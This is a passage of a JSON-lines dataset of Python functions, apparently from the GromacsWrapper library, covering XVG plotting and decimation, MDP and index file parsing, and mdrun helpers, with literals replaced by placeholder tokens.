         *ax*\n               plot into given axes or create new one if ``None`` [``None``]\n          *kwargs*\n               All other keyword arguments are passed on to :func:`matplotlib.pyplot.plot`.\n\n        :Returns:\n          *ax*\n               axes instance", "id": "f6858:c0:m17"}
{"signature": "def plot_coarsened(self, **kwargs):", "body": "ax = kwargs.pop('<STR_LIT>', None)<EOL>columns = kwargs.pop('<STR_LIT>', Ellipsis)         <EOL>if columns is Ellipsis or columns is None:<EOL><INDENT>columns = numpy.arange(self.array.shape[<NUM_LIT:0>])<EOL><DEDENT>if len(columns) < <NUM_LIT:2>:<EOL><INDENT>raise MissingDataError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>color = kwargs.pop('<STR_LIT>', self.default_color_cycle)<EOL>try:<EOL><INDENT>cmap = matplotlib.cm.get_cmap(color)<EOL>colors = cmap(matplotlib.colors.Normalize()(numpy.arange(len(columns[<NUM_LIT:1>:]), dtype=float)))<EOL><DEDENT>except TypeError:<EOL><INDENT>colors = cycle(utilities.asiterable(color))<EOL><DEDENT>if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>t = columns[<NUM_LIT:0>]<EOL>kwargs['<STR_LIT>'] = True<EOL>kwargs['<STR_LIT>'] = ax<EOL>for column, color in zip(columns[<NUM_LIT:1>:], colors):<EOL><INDENT>kwargs['<STR_LIT>'] = color<EOL>self.errorbar(columns=[t, column, column], **kwargs)<EOL><DEDENT>return ax<EOL>", "docstring": "Plot data like :meth:`XVG.plot` with the range of **all** data shown.\n\n        Data are reduced to *maxpoints* (good results are obtained\n        with low values such as 100) and the actual range of observed\n        data is plotted as a translucent error band around the mean.\n\n        Each column in *columns* (except the abscissa, i.e. the first\n        column) is decimated (with :meth:`XVG.decimate`) and the range\n        of data is plotted alongside the mean using\n        :meth:`XVG.errorbar` (see for arguments). Additional\n        arguments:\n\n        :Kewords:\n           *maxpoints*\n                number of points (bins) to coarsen over\n           *color*\n                single color (used for all plots); sequence of colors\n                (will be repeated as necessary); or a matplotlib\n                colormap (e.g. \"jet\", see :mod:`matplotlib.cm`). The\n                default is to use the :attr:`XVG.default_color_cycle`.\n           *method*\n                Method to coarsen the data. See :meth:`XVG.decimate`\n\n        The *demean* keyword has no effect as it is required to be ``True``.\n\n        .. SeeAlso:: :meth:`XVG.plot`, :meth:`XVG.errorbar` and :meth:`XVG.decimate`", "id": "f6858:c0:m18"}
{"signature": "def errorbar(self, **kwargs):", "body": "ax = kwargs.pop('<STR_LIT>', None)<EOL>color = kwargs.pop('<STR_LIT>', '<STR_LIT>')<EOL>filled = kwargs.pop('<STR_LIT>', True)<EOL>fill_alpha = kwargs.pop('<STR_LIT>', <NUM_LIT>)<EOL>kwargs.setdefault('<STR_LIT>', <NUM_LIT:0>)<EOL>kwargs.setdefault('<STR_LIT>', <NUM_LIT:1>)<EOL>kwargs.setdefault('<STR_LIT>', color)<EOL>kwargs.setdefault('<STR_LIT>', <NUM_LIT>)<EOL>kwargs.setdefault('<STR_LIT>', None)<EOL>columns = kwargs.pop('<STR_LIT>', Ellipsis)         <EOL>maxpoints = kwargs.pop('<STR_LIT>', self.maxpoints_default)<EOL>transform = kwargs.pop('<STR_LIT>', lambda x: x)  <EOL>method = kwargs.pop('<STR_LIT>', \"<STR_LIT>\")<EOL>if method != \"<STR_LIT>\":<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\")<EOL><DEDENT>error_method = kwargs.pop('<STR_LIT>', \"<STR_LIT>\")  <EOL>percentile = numpy.abs(kwargs.pop('<STR_LIT>', <NUM_LIT>))<EOL>demean = kwargs.pop('<STR_LIT>', False)<EOL>try:<EOL><INDENT>data = numpy.asarray(transform(self.array))[columns]<EOL><DEDENT>except IndexError:<EOL><INDENT>raise MissingDataError(\"<STR_LIT>\".format(columns))<EOL><DEDENT>if data.shape[-<NUM_LIT:1>] == <NUM_LIT:0>:<EOL><INDENT>raise MissingDataError(\"<STR_LIT>\")<EOL><DEDENT>a = numpy.zeros((data.shape[<NUM_LIT:0>], maxpoints), dtype=numpy.float64)<EOL>a[<NUM_LIT:0>:<NUM_LIT:2>] = self.decimate(\"<STR_LIT>\", data[<NUM_LIT:0>:<NUM_LIT:2>], maxpoints=maxpoints)<EOL>error_data = numpy.vstack((data[<NUM_LIT:0>], data[<NUM_LIT:2>:]))<EOL>if error_method == \"<STR_LIT>\":<EOL><INDENT>if percentile > <NUM_LIT:50>:<EOL><INDENT>upper_per = percentile<EOL>lower_per = <NUM_LIT:100> - percentile<EOL><DEDENT>else:<EOL><INDENT>upper_per = <NUM_LIT:100> - percentile<EOL>lower_per = percentile<EOL><DEDENT>upper = a[<NUM_LIT:2>:] = self.decimate(\"<STR_LIT>\", error_data, maxpoints=maxpoints,<EOL>per=upper_per, demean=False)[<NUM_LIT:1>:]<EOL>lower = self.decimate(\"<STR_LIT>\", error_data, maxpoints=maxpoints,<EOL>per=lower_per, demean=False)[<NUM_LIT:1>:]<EOL><DEDENT>else:<EOL><INDENT>a[<NUM_LIT:2>:] = self.decimate(error_method, error_data, maxpoints=maxpoints, demean=demean)[<NUM_LIT:1>:]<EOL>lower = None<EOL><DEDENT>ma = numpy.ma.MaskedArray(a, mask=numpy.logical_not(numpy.isfinite(a)))<EOL>if lower is not None:<EOL><INDENT>mlower = numpy.ma.MaskedArray(lower, mask=numpy.logical_not(numpy.isfinite(lower)))<EOL><DEDENT>X = ma[<NUM_LIT:0>]          <EOL>Y = ma[<NUM_LIT:1>]<EOL>try:<EOL><INDENT>kwargs['<STR_LIT>'] = ma[<NUM_LIT:3>]<EOL>kwargs['<STR_LIT>'] = ma[<NUM_LIT:2>]<EOL><DEDENT>except IndexError:<EOL><INDENT>try:<EOL><INDENT>kwargs['<STR_LIT>'] = ma[<NUM_LIT:2>]<EOL><DEDENT>except IndexError:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>if filled:<EOL><INDENT>if error_method == \"<STR_LIT>\":<EOL><INDENT>if demean:<EOL><INDENT>y1 = mlower[-<NUM_LIT:1>]<EOL>y2 = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>y1 = Y - mlower[-<NUM_LIT:1>]<EOL>y2 = Y + kwargs['<STR_LIT>']<EOL><DEDENT><DEDENT>else:<EOL><INDENT>y1 = Y - kwargs['<STR_LIT>']<EOL>y2 = Y + kwargs['<STR_LIT>']<EOL><DEDENT>ax.fill_between(X, y1, y2, color=color, alpha=fill_alpha)<EOL><DEDENT>else:<EOL><INDENT>if error_method == \"<STR_LIT>\":<EOL><INDENT>if demean:<EOL><INDENT>kwargs['<STR_LIT>'] = numpy.vstack((mlower[-<NUM_LIT:1>], kwargs['<STR_LIT>']))<EOL><DEDENT>else:<EOL><INDENT>kwargs['<STR_LIT>'] = numpy.vstack((Y - mlower[-<NUM_LIT:1>], Y + kwargs['<STR_LIT>']))<EOL><DEDENT>try:<EOL><INDENT>kwargs['<STR_LIT>'] = numpy.vstack((X - mlower[<NUM_LIT:0>], X + kwargs['<STR_LIT>']))<EOL><DEDENT>except (KeyError, IndexError):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>ax.errorbar(X, Y, **kwargs)<EOL><DEDENT>for kw in \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\":<EOL><INDENT>kwargs.pop(kw, None)<EOL><DEDENT>kwargs['<STR_LIT>'] = <NUM_LIT:1.0><EOL>ax.plot(X, Y, color=color, **kwargs)<EOL>return ax<EOL>", "docstring": "errorbar plot for a single time series with errors.\n\n        Set *columns* keyword to select [x, y, dy] or [x, y, dx, dy],\n        e.g. ``columns=[0,1,2]``. See :meth:`XVG.plot` for\n        details. Only a single timeseries can be plotted and the user\n        needs to select the appropriate columns with the *columns*\n        keyword.\n\n        By default, the data are decimated (see :meth:`XVG.plot`) for\n        the default of *maxpoints* = 10000 by averaging data in\n        *maxpoints* bins.\n\n        x,y,dx,dy data can plotted with error bars in the x- and\n        y-dimension (use *filled* = ``False``).\n\n        For x,y,dy use *filled* = ``True`` to fill the region between\n        y\u00b1dy. *fill_alpha* determines the transparency of the fill\n        color. *filled* = ``False`` will draw lines for the error\n        bars. Additional keywords are passed to\n        :func:`pylab.errorbar`.\n\n        By default, the errors are decimated by plotting the 5% and\n        95% percentile of the data in each bin. The percentile can be\n        changed with the *percentile* keyword; e.g. *percentile* = 1\n        will plot the 1% and 99% perentile (as will *percentile* =\n        99).\n\n        The *error_method* keyword can be used to compute errors as\n        the root mean square sum (*error_method* = \"rms\") across each\n        bin instead of percentiles (\"percentile\"). The value of the\n        keyword *demean* is applied to the decimation of error data\n        alone.\n\n        .. SeeAlso::\n\n           :meth:`XVG.plot` lists keywords common to both methods.", "id": "f6858:c0:m19"}
{"signature": "def decimate(self, method, a, maxpoints=<NUM_LIT>, **kwargs):", "body": "methods = {'<STR_LIT>': self.decimate_mean,<EOL>'<STR_LIT>': self.decimate_min,<EOL>'<STR_LIT>': self.decimate_max,<EOL>'<STR_LIT>': self.decimate_smooth,<EOL>'<STR_LIT>': self.decimate_rms,<EOL>'<STR_LIT>': self.decimate_percentile,<EOL>'<STR_LIT:error>': self.decimate_error,  <EOL>'<STR_LIT>': self.decimate_circmean,<EOL>}<EOL>if len(a.shape) == <NUM_LIT:1>:<EOL><INDENT>X = numpy.arange(len(a))<EOL>a = numpy.vstack([X, a])<EOL><DEDENT>ny = a.shape[-<NUM_LIT:1>]   <EOL>if maxpoints is None or ny <= maxpoints:<EOL><INDENT>return a<EOL><DEDENT>return methods[method](a, maxpoints, **kwargs)<EOL>", "docstring": "Decimate data *a* to *maxpoints* using *method*.\n\n        If *a* is a 1D array then it is promoted to a (2, N) array\n        where the first column simply contains the index.\n\n        If the array contains fewer than *maxpoints* points or if\n        *maxpoints* is ``None`` then it is returned as it is. The\n        default for *maxpoints* is 10000.\n\n        Valid values for the reduction *method*:\n\n          * \"mean\", uses :meth:`XVG.decimate_mean` to coarse grain by\n            averaging the data in bins along the time axis\n\n          * \"circmean\", uses :meth:`XVG.decimate_circmean` to coarse\n            grain by calculating the circular mean of the data in bins\n            along the time axis. Use additional keywords *low* and\n            *high* to set the limits. Assumes that the data are in\n            degrees.\n\n          * \"min\" and \"max* select the extremum in each bin\n\n          * \"rms\", uses :meth:`XVG.decimate_rms` to coarse grain by\n            computing the root mean square sum of the data in bins\n            along the time axis (for averaging standard deviations and\n            errors)\n\n          * \"percentile\" with keyword *per*: :meth:`XVG.decimate_percentile`\n            reduces data in each bin to the percentile *per*\n\n          * \"smooth\", uses :meth:`XVG.decimate_smooth` to subsample\n            from a smoothed function (generated with a running average\n            of the coarse graining step size derived from the original\n            number of data points and *maxpoints*)\n\n        :Returns: numpy array ``(M', N')`` from a ``(M', N)`` array\n                  with ``M' == M`` (except when ``M == 1``, see above)\n                  and ``N' <= N`` (``N'`` is *maxpoints*).", "id": "f6858:c0:m20"}
{"signature": "def decimate_mean(self, a, maxpoints, **kwargs):", "body": "return self._decimate(numkit.timeseries.mean_histogrammed_function, a, maxpoints, **kwargs)<EOL>", "docstring": "Return data *a* mean-decimated on *maxpoints*.\n\n        Histograms each column into *maxpoints* bins and calculates\n        the weighted average in each bin as the decimated data, using\n        :func:`numkit.timeseries.mean_histogrammed_function`. The coarse grained\n        time in the first column contains the centers of the histogram\n        time.\n\n        If *a* contains <= *maxpoints* then *a* is simply returned;\n        otherwise a new array of the same dimensions but with a\n        reduced number of  *maxpoints* points is returned.\n\n        .. Note::\n\n           Assumes that the first column is time.", "id": "f6858:c0:m21"}
{"signature": "def decimate_circmean(self, a, maxpoints, **kwargs):", "body": "a_rad = numpy.vstack((a[<NUM_LIT:0>], numpy.deg2rad(a[<NUM_LIT:1>:])))<EOL>b = self._decimate(numkit.timeseries.circmean_histogrammed_function, a_rad, maxpoints, **kwargs)<EOL>y_ma, x_ma = break_array(b[<NUM_LIT:1>], threshold=numpy.pi, other=b[<NUM_LIT:0>])<EOL>v = [y_ma]<EOL>for y in b[<NUM_LIT:2>:]:<EOL><INDENT>v.append(break_array(y, threshold=numpy.pi)[<NUM_LIT:0>])<EOL>if v[-<NUM_LIT:1>].shape != v[<NUM_LIT:0>].shape:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return numpy.vstack((x_ma, numpy.rad2deg(v)))<EOL>", "docstring": "Return data *a* circmean-decimated on *maxpoints*.\n\n        Histograms each column into *maxpoints* bins and calculates\n        the weighted circular mean in each bin as the decimated data,\n        using\n        :func:`numkit.timeseries.circmean_histogrammed_function`. The\n        coarse grained time in the first column contains the centers\n        of the histogram time.\n\n        If *a* contains <= *maxpoints* then *a* is simply returned;\n        otherwise a new array of the same dimensions but with a\n        reduced number of  *maxpoints* points is returned.\n\n        Keywords *low* and *high* can be used to set the\n        boundaries. By default they are [-pi, +pi].\n\n        This method returns a **masked** array where jumps are flagged\n        by an insertion of a masked point.\n\n        .. Note::\n\n           Assumes that the first column is time and that the data are\n           in **degrees**.\n\n        .. Warning::\n\n           Breaking of arrays only works properly with a two-column\n           array because breaks are only inserted in the x-column\n           (a[0]) where y1 = a[1] has a break.", "id": "f6858:c0:m22"}
{"signature": "def decimate_min(self, a, maxpoints, **kwargs):", "body": "return self._decimate(numkit.timeseries.min_histogrammed_function, a, maxpoints, **kwargs)<EOL>", "docstring": "Return data *a* min-decimated on *maxpoints*.\n\n        Histograms each column into *maxpoints* bins and calculates\n        the minimum in each bin as the decimated data, using\n        :func:`numkit.timeseries.min_histogrammed_function`. The coarse grained\n        time in the first column contains the centers of the histogram\n        time.\n\n        If *a* contains <= *maxpoints* then *a* is simply returned;\n        otherwise a new array of the same dimensions but with a\n        reduced number of  *maxpoints* points is returned.\n\n        .. Note::\n\n           Assumes that the first column is time.", "id": "f6858:c0:m23"}
{"signature": "def decimate_max(self, a, maxpoints, **kwargs):", "body": "return self._decimate(numkit.timeseries.max_histogrammed_function, a, maxpoints, **kwargs)<EOL>", "docstring": "Return data *a* max-decimated on *maxpoints*.\n\n        Histograms each column into *maxpoints* bins and calculates\n        the maximum in each bin as the decimated data, using\n        :func:`numkit.timeseries.max_histogrammed_function`. The coarse grained\n        time in the first column contains the centers of the histogram\n        time.\n\n        If *a* contains <= *maxpoints* then *a* is simply returned;\n        otherwise a new array of the same dimensions but with a\n        reduced number of  *maxpoints* points is returned.\n\n        .. Note::\n\n           Assumes that the first column is time.", "id": "f6858:c0:m24"}
{"signature": "def decimate_rms(self, a, maxpoints, **kwargs):", "body": "return self._decimate(numkit.timeseries.rms_histogrammed_function, a, maxpoints, **kwargs)<EOL>", "docstring": "Return data *a* rms-decimated on *maxpoints*.\n\n        Histograms each column into *maxpoints* bins and calculates\n        the root mean square sum in each bin as the decimated data,\n        using :func:`numkit.timeseries.rms_histogrammed_function`. The coarse\n        grained time in the first column contains the centers of the\n        histogram time.\n\n        If *a* contains <= *maxpoints* then *a* is simply returned;\n        otherwise a new array of the same dimensions but with a\n        reduced number of  *maxpoints* points is returned.\n\n        .. Note::\n\n           Assumes that the first column is time.", "id": "f6858:c0:m25"}
{"signature": "def decimate_percentile(self, a, maxpoints, **kwargs):", "body": "return self._decimate(numkit.timeseries.percentile_histogrammed_function, a, maxpoints, **kwargs)<EOL>", "docstring": "Return data *a* percentile-decimated on *maxpoints*.\n\n        Histograms each column into *maxpoints* bins and calculates\n        the percentile *per* in each bin as the decimated data, using\n        :func:`numkit.timeseries.percentile_histogrammed_function`. The\n        coarse grained time in the first column contains the centers\n        of the histogram time.\n\n        If *a* contains <= *maxpoints* then *a* is simply returned;\n        otherwise a new array of the same dimensions but with a\n        reduced number of  *maxpoints* points is returned.\n\n        .. Note::\n\n           Assumes that the first column is time.\n\n        :Keywords:\n\n        *per*\n            percentile as a percentage, e.g. 75 is the value that splits\n            the data into the lower 75% and upper 25%; 50 is the median [50.0]\n\n        .. SeeAlso:: :func:`numkit.timeseries.regularized_function` with :func:`scipy.stats.scoreatpercentile`", "id": "f6858:c0:m26"}
{"signature": "def decimate_error(self, a, maxpoints, **kwargs):", "body": "warnings.warn(\"<STR_LIT>\",<EOL>category=gromacs.exceptions.LowAccuracyWarning)<EOL>return self._decimate(numkit.timeseries.error_histogrammed_function, a,<EOL>maxpoints, **kwargs)<EOL>", "docstring": "Return data *a* error-decimated on *maxpoints*.\n\n        Histograms each column into *maxpoints* bins and calculates an\n        error estimate in each bin as the decimated data, using\n        :func:`numkit.timeseries.error_histogrammed_function`. The\n        coarse grained time in the first column contains the centers\n        of the histogram time.\n\n        If *a* contains <= *maxpoints* then *a* is simply returned;\n        otherwise a new array of the same dimensions but with a\n        reduced number of  *maxpoints* points is returned.\n\n        .. SeeAlso:: :func:`numkit.timeseries.tcorrel`\n\n        .. Note::\n\n           Assumes that the first column is time.\n\n           Does not work very well because often there are too few\n           datapoints to compute a good autocorrelation function.", "id": "f6858:c0:m27"}
{"signature": "def decimate_smooth(self, a, maxpoints, window=\"<STR_LIT>\"):", "body": "ny = a.shape[-<NUM_LIT:1>]   <EOL>stepsize = int(ny / maxpoints)<EOL>if stepsize % <NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>stepsize += <NUM_LIT:1>  <EOL><DEDENT>out = numpy.empty_like(a)<EOL>out[<NUM_LIT:0>,:] = a[<NUM_LIT:0>]<EOL>for i in range(<NUM_LIT:1>, a.shape[<NUM_LIT:0>]):<EOL><INDENT>out[i,:] = numkit.timeseries.smooth(a[i], stepsize, window=window)<EOL><DEDENT>if maxpoints == self.maxpoints_default:  <EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% (ny, maxpoints, ny/stepsize, window, stepsize),<EOL>category=AutoCorrectionWarning)<EOL><DEDENT>return out[..., ::stepsize]<EOL>", "docstring": "Return smoothed data *a* decimated on approximately *maxpoints* points.\n\n        1. Produces a smoothed graph using the smoothing window *window*;\n           \"flat\" is a running average.\n        2. select points at a step size approximatelt producing maxpoints\n\n        If *a* contains <= *maxpoints* then *a* is simply returned;\n        otherwise a new array of the same dimensions but with a\n        reduced number of points (close to *maxpoints*) is returned.\n\n        .. Note::\n\n           Assumes that the first column is time (which will *never*\n           be smoothed/averaged), except when the input array *a* is\n           1D and therefore to be assumed to be data at equidistance\n           timepoints.\n\n        TODO:\n        - Allow treating the 1st column as data", "id": "f6858:c0:m29"}
{"signature": "def __getstate__(self):", "body": "if self.savedata:<EOL><INDENT>d = self.__dict__<EOL><DEDENT>else:<EOL><INDENT>mangleprefix = '<STR_LIT:_>'+self.__class__.__name__<EOL>def demangle(k):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if k.startswith(mangleprefix):<EOL><INDENT>k = k.replace(mangleprefix,'<STR_LIT>')<EOL><DEDENT>return k<EOL><DEDENT>d = {}<EOL>for k in self.__dict__:<EOL><INDENT>d[k] = self.__pickle_excluded.get(demangle(k), self.__dict__[k])<EOL><DEDENT><DEDENT>return d<EOL>", "docstring": "custom pickling protocol: http://docs.python.org/library/pickle.html\n\n        If :attr:`XVG.savedata` is ``False`` then any attributes in\n        :attr:`XVG.__pickle_excluded` are *not* pickled as they are but simply\n        pickled with the default value.", "id": "f6858:c0:m30"}
{"signature": "def __init__(self, filename=None, autoconvert=True, **kwargs):", "body": "super(MDP, self).__init__(**kwargs)  <EOL>self.autoconvert = autoconvert<EOL>if filename is not None:<EOL><INDENT>self._init_filename(filename)<EOL>self.read(filename)<EOL><DEDENT>", "docstring": "Initialize mdp structure.\n\n        :Arguments:\n          *filename*\n              read from mdp file\n          *autoconvert* : boolean\n              ``True`` converts numerical values to python numerical types;\n              ``False`` keeps everything as strings [``True``]\n          *kwargs*\n              Populate the MDP with key=value pairs. (NO SANITY CHECKS; and also\n              does not work for keys that are not legal python variable names such\n              as anything that includes a minus '-' sign or starts with a number).", "id": "f6859:c0:m0"}
{"signature": "def read(self, filename=None):", "body": "self._init_filename(filename)<EOL>def BLANK(i):<EOL><INDENT>return \"<STR_LIT>\".format(i)<EOL><DEDENT>def COMMENT(i):<EOL><INDENT>return \"<STR_LIT>\".format(i)<EOL><DEDENT>data = odict()<EOL>iblank = icomment = <NUM_LIT:0><EOL>with open(self.real_filename) as mdp:<EOL><INDENT>for line in mdp:<EOL><INDENT>line = line.strip()<EOL>if len(line) == <NUM_LIT:0>:<EOL><INDENT>iblank += <NUM_LIT:1><EOL>data[BLANK(iblank)] = '<STR_LIT>'<EOL>continue<EOL><DEDENT>m = self.COMMENT.match(line)<EOL>if m:<EOL><INDENT>icomment += <NUM_LIT:1><EOL>data[COMMENT(icomment)] = m.group('<STR_LIT:value>')<EOL>continue<EOL><DEDENT>m = self.PARAMETER.match(line)<EOL>if m:<EOL><INDENT>parameter = m.group('<STR_LIT>')<EOL>value =  self._transform(m.group('<STR_LIT:value>'))<EOL>data[parameter] = value<EOL><DEDENT>else:<EOL><INDENT>errmsg = '<STR_LIT>'.format(**vars())<EOL>self.logger.error(errmsg)<EOL>raise ParseError(errmsg)<EOL><DEDENT><DEDENT><DEDENT>super(MDP,self).update(data)<EOL>", "docstring": "Read and parse mdp file *filename*.", "id": "f6859:c0:m2"}
{"signature": "def write(self, filename=None, skipempty=False):", "body": "with open(self.filename(filename, ext='<STR_LIT>'), '<STR_LIT:w>') as mdp:<EOL><INDENT>for k,v in self.items():<EOL><INDENT>if k[<NUM_LIT:0>] == '<STR_LIT:B>':        <EOL><INDENT>mdp.write(\"<STR_LIT:\\n>\")<EOL><DEDENT>elif k[<NUM_LIT:0>] == '<STR_LIT:C>':      <EOL><INDENT>mdp.write(\"<STR_LIT>\".format(**vars()))<EOL><DEDENT>else:                  <EOL><INDENT>if skipempty and (v == '<STR_LIT>' or v is None):<EOL><INDENT>continue<EOL><DEDENT>if isinstance(v, six.string_types) or not hasattr(v, '<STR_LIT>'):<EOL><INDENT>mdp.write(\"<STR_LIT>\".format(**vars()))<EOL><DEDENT>else:<EOL><INDENT>mdp.write(\"<STR_LIT>\".format(k,'<STR_LIT:U+0020>'.join(map(str, v))))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Write mdp file to *filename*.\n\n        :Keywords:\n           *filename*\n               output mdp file; default is the filename the mdp\n               was read from\n           *skipempty* : boolean\n               ``True`` removes any parameter lines from output that\n               contain empty values [``False``]\n\n        .. Note:: Overwrites the file that the mdp was read from if no\n                  *filename* supplied.", "id": "f6859:c0:m3"}
{"signature": "def read(self, filename=None):", "body": "self._init_filename(filename)<EOL>data = odict()<EOL>with open(self.real_filename) as ndx:<EOL><INDENT>current_section = None<EOL>for line in ndx:<EOL><INDENT>line = line.strip()<EOL>if len(line) == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>m = self.SECTION.match(line)<EOL>if m:<EOL><INDENT>current_section = m.group('<STR_LIT:name>')<EOL>data[current_section] = []  <EOL>continue<EOL><DEDENT>if current_section is not None:<EOL><INDENT>data[current_section].extend(map(int, line.split()))<EOL><DEDENT><DEDENT><DEDENT>super(NDX,self).update(odict([(name, self._transform(atomnumbers))<EOL>for name, atomnumbers in data.items()]))<EOL>", "docstring": "Read and parse index file *filename*.", "id": "f6861:c0:m1"}
{"signature": "def write(self, filename=None, ncol=ncol, format=format):", "body": "with open(self.filename(filename, ext='<STR_LIT>'), '<STR_LIT:w>') as ndx:<EOL><INDENT>for name in self:<EOL><INDENT>atomnumbers = self._getarray(name)  <EOL>ndx.write('<STR_LIT>'.format(name))<EOL>for k in range(<NUM_LIT:0>, len(atomnumbers), ncol):<EOL><INDENT>line = atomnumbers[k:k+ncol].astype(int)   <EOL>n = len(line)<EOL>ndx.write((\"<STR_LIT:U+0020>\".join(n*[format])+'<STR_LIT:\\n>') % tuple(line))<EOL><DEDENT>ndx.write('<STR_LIT:\\n>')<EOL><DEDENT><DEDENT>", "docstring": "Write index file to *filename* (or overwrite the file that the index was read from)", "id": "f6861:c0:m2"}
{"signature": "def get(self, name):", "body": "return self[name]<EOL>", "docstring": "Return index array for index group *name*.", "id": "f6861:c0:m3"}
{"signature": "def set(self, name, value):", "body": "self[name] = value<EOL>", "docstring": "Set or add group *name* as a 1D numpy array.", "id": "f6861:c0:m4"}
{"signature": "def size(self, name):", "body": "return len(self[name])<EOL>", "docstring": "Return number of entries for group *name*.", "id": "f6861:c0:m5"}
{"signature": "@property<EOL><INDENT>def groups(self):<DEDENT>", "body": "return self.keys()<EOL>", "docstring": "Return a list of all groups.", "id": "f6861:c0:m6"}
{"signature": "@property<EOL><INDENT>def sizes(self):<DEDENT>", "body": "return {name: len(atomnumbers) for name, atomnumbers in self.items()}<EOL>", "docstring": "Return a dict with group names and number of entries,", "id": "f6861:c0:m7"}
{"signature": "@property<EOL><INDENT>def ndxlist(self):<DEDENT>", "body": "return [{'<STR_LIT:name>': name, '<STR_LIT>': len(atomnumbers), '<STR_LIT>': nr+<NUM_LIT:1>} for<EOL>nr,(name,atomnumbers) in enumerate(self.items())]<EOL>", "docstring": "Return a list of groups in the same format as  :func:`gromacs.cbook.get_ndx_groups`.\n\n        Format:\n           [ {'name': group_name, 'natoms': number_atoms, 'nr':  # group_number}, ....]", "id": "f6861:c0:m8"}
{"signature": "def _getarray(self, name):", "body": "return self[name]<EOL>", "docstring": "Helper getter that is used in write().\n        Override when using a _transform that stores something that\n        cannot be indexed, e.g. when using set()s.", "id": "f6861:c0:m9"}
{"signature": "def _transform(self, v):", "body": "return numpy.ravel(v).astype(int)<EOL>", "docstring": "Transform input to the stored representation.\n\n        Override eg with ``return set(v)`` for index lists as sets.", "id": "f6861:c0:m10"}
{"signature": "def join(self, *groupnames):", "body": "return self._sum([self[k] for k in groupnames if k in self])<EOL>", "docstring": "Return an index group that contains atoms from all  *groupnames*.\n\n        The method will silently ignore any groups that are not in the\n        index.\n\n        **Example**\n\n        Always make a solvent group from water and ions, even if not\n        all ions are present in all simulations::\n\n           I['SOLVENT'] = I.join('SOL', 'NA+', 'K+', 'CL-')", "id": "f6861:c2:m0"}
{"signature": "def find_gromacs_command(commands):", "body": "<EOL>commands = utilities.asiterable(commands)<EOL>for command in commands:<EOL><INDENT>try:<EOL><INDENT>driver, name = command.split()<EOL><DEDENT>except ValueError:<EOL><INDENT>driver, name = None, command<EOL><DEDENT>executable = driver if driver else name<EOL>if utilities.which(executable):<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OSError(errno.ENOENT, \"<STR_LIT>\", \"<STR_LIT:U+002CU+0020>\".join(commands))<EOL><DEDENT>return driver, name<EOL>", "docstring": "Return *driver* and *name* of the first command that can be found on :envvar:`PATH`", "id": "f6862:m0"}
{"signature": "def check_mdrun_success(logfile):", "body": "if not os.path.exists(logfile):<EOL><INDENT>return None<EOL><DEDENT>with open(logfile, '<STR_LIT:rb>') as log:<EOL><INDENT>log.seek(-<NUM_LIT>, <NUM_LIT:2>)<EOL>for line in log:<EOL><INDENT>line = line.decode('<STR_LIT>')<EOL>if line.startswith(\"<STR_LIT>\"):<EOL><INDENT>return True<EOL><DEDENT><DEDENT><DEDENT>return False<EOL>", "docstring": "Check if ``mdrun`` finished successfully.\n\n    Analyses the output from ``mdrun`` in *logfile*. Right now we are\n    simply looking for the line \"Finished mdrun on node\" in the last 1kb of\n    the file. (The file must be seeakable.)\n\n    :Arguments:\n      *logfile* : filename\n         Logfile produced by ``mdrun``.\n\n    :Returns: ``True`` if all ok, ``False`` if not finished, and\n              ``None`` if the *logfile* cannot be opened", "id": "f6862:m1"}
{"signature": "def get_double_or_single_prec_mdrun():", "body": "try:<EOL><INDENT>gromacs.mdrun_d(h=True, stdout=False, stderr=False)<EOL>logger.debug(\"<STR_LIT>\")<EOL>return gromacs.mdrun_d<EOL><DEDENT>except (AttributeError, GromacsError, OSError):<EOL><INDENT>wmsg = \"<STR_LIT>\"\"<STR_LIT>\"<EOL>logger.warn(wmsg)<EOL>warnings.warn(wmsg, category=AutoCorrectionWarning)<EOL>return gromacs.mdrun<EOL><DEDENT>", "docstring": "Return double precision ``mdrun`` or fall back to single precision.\n\n    This convenience function tries :func:`gromacs.mdrun_d` first and\n    if it cannot run it, falls back to :func:`gromacs.mdrun` (without\n    further checking).\n\n    .. versionadded:: 0.5.1", "id": "f6862:m2"}
{"signature": "def __init__(self, dirname=os.path.curdir, **kwargs):", "body": "<EOL>self.dirname = dirname<EOL>self.driver, self.name = find_gromacs_command(self.mdrun)<EOL>cls = type('<STR_LIT>', (core.GromacsCommand,),<EOL>{'<STR_LIT>': self.name,<EOL>'<STR_LIT>': self.driver,<EOL>'<STR_LIT>': \"<STR_LIT>\".format(self.driver, self.name)<EOL>})<EOL>kwargs['<STR_LIT>'] = '<STR_LIT>'    <EOL>self.MDRUN = cls(**kwargs)  <EOL>logname = kwargs.get('<STR_LIT:g>')          <EOL>if logname in (True, None):        <EOL><INDENT>logname = '<STR_LIT>'             <EOL>deffnm = kwargs.get('<STR_LIT>')<EOL>if deffnm is not None:<EOL><INDENT>logname = deffnm<EOL><DEDENT><DEDENT>self.logname = os.path.realpath(<EOL>os.path.join(self.dirname, self.filename(logname, ext='<STR_LIT>')))<EOL>", "docstring": "Set up a simple run with ``mdrun``.\n\n        :Keywords:\n           *dirname*\n               Change to this directory before launching the job. Input\n               files must be supplied relative to this directory.\n           *keywords*\n               All other keword arguments are used to construct the\n               :class:`~gromacs.tools.mdrun` commandline. Note that only\n               keyword arguments are allowed.", "id": "f6862:c0:m0"}
